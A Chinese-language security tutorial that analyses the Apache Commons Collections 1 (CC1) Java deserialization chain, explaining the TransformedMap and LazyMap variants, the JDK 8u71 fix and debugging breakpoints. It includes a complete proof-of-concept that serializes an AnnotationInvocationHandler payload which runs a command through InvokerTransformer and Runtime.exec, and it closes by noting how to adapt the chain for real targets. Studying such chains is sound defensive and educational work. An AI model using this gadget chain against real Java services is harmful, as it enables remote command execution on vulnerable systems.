[Java安全]Commons Collections1初探过程的思考
字数 1943 2025-08-25 22:58:20
Apache Commons Collections 反序列化漏洞分析 (CC1链)
1. 前言
本教程将详细分析Apache Commons Collections 1 (CC1)反序列化漏洞的利用链,包括TransformedMap和LazyMap两种利用方式。学习前请确保:
-
环境准备:
- JDK版本:8u71之前的版本(8u71及之后版本已修复)
- Commons Collections版本:3.1-3.2.1
-
必读参考资料:
- Java反序列化Commons-Collections篇01-CC1链
- Java安全漫谈 - 09.初识CommonsCollections
- Java安全漫谈 - 10.用TransformedMap编写真正的POC
- 视频:Java反序列化CommonsCollections篇(一) CC1链手写EXP
2. 漏洞利用链分析
2.1 利用链功能划分
CC1链可分为三部分:
- 第三部分:链尾,用于命令执行
- 第二部分:传导部分
- 第一部分:触发点,寻找调用了readObject的地方
2.2 TransformedMap利用链
2.2.1 第三部分 - 命令执行核心
关键类:InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
}
利用方式:
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
关键点:
- 通过反射执行任意方法
- 三个构造参数分别指定:方法名、参数类型数组、参数值数组
2.2.2 第二部分 - 传导机制
关键类:TransformedMap
Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
调用链:
setValue() -> checkSetValue() -> transform()
详细流程:
TransformedMap.decorate()创建装饰后的Map- 遍历Map时调用
setValue() setValue()调用checkSetValue()checkSetValue()调用valueTransformer.transform(value)
2.2.3 第一部分 - 触发点
关键类:sun.reflect.annotation.AnnotationInvocationHandler
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
memberValue.setValue(...);
}
}
利用条件:
- 第一个参数必须是
Annotation的子类,且至少含有一个方法 - Map中必须有一个键名与该Annotation的方法名相同的元素
常用Annotation类:
Target.classRetention.class
2.3 完整TransformedMap POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "test"); // 必须与Annotation方法名相同
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
2.4 LazyMap利用链
2.4.1 与TransformedMap的区别
-
触发方式不同:
- TransformedMap: 通过
setValue()触发 - LazyMap: 通过
get()方法触发
- TransformedMap: 通过
-
利用链:
AnnotationInvocationHandler.readObject
-> AnnotationInvocationHandler.invoke (动态代理)
-> LazyMap.get()
-> factory.transform()
2.4.2 关键代码
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(),
lazyMap.getClass().getInterfaces(),
handler
);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
2.4.3 动态代理机制
- 代理对象调用任何方法都会先进入
InvocationHandler.invoke() - 在
invoke方法中会调用memberValues.get() memberValues是LazyMap实例,因此会触发LazyMap.get()
3. 修复方案
JDK 8u71修复方式:
- 不再直接操作原始Map,而是创建新的LinkedHashMap对象
- 将原来的键值添加到新Map中,避免直接触发transform
4. 关键知识点总结
-
Runtime不可序列化问题:
- 使用
Runtime.class代替Runtime.getRuntime() - 通过反射链获取Runtime实例
- 使用
-
ChainedTransformer作用:
- 将多个Transformer串联执行
- 前一个Transformer的输出作为后一个的输入
-
ConstantTransformer作用:
- 固定返回指定对象
- 用于构造可控参数
-
动态代理在LazyMap中的作用:
- 将方法调用转发到
InvocationHandler.invoke - 从而触发
LazyMap.get()
- 将方法调用转发到
5. 调试建议
-
关键断点位置:
InvokerTransformer.transform()TransformedMap.checkSetValue()LazyMap.get()AnnotationInvocationHandler.readObject()AnnotationInvocationHandler.invoke()
-
调试技巧:
- 关注方法调用栈
- 观察关键对象的类型和值变化
- 特别注意Map的遍历过程
6. 注意事项
- JDK版本必须为8u71之前
- Commons Collections版本应为3.1-3.2.1
- 不同环境可能需要调整命令执行方式
- 实际利用时需要考虑目标系统的安全限制
通过以上详细分析,读者应该能够深入理解CC1链的原理和实现方式,并能够根据实际环境调整利用方法。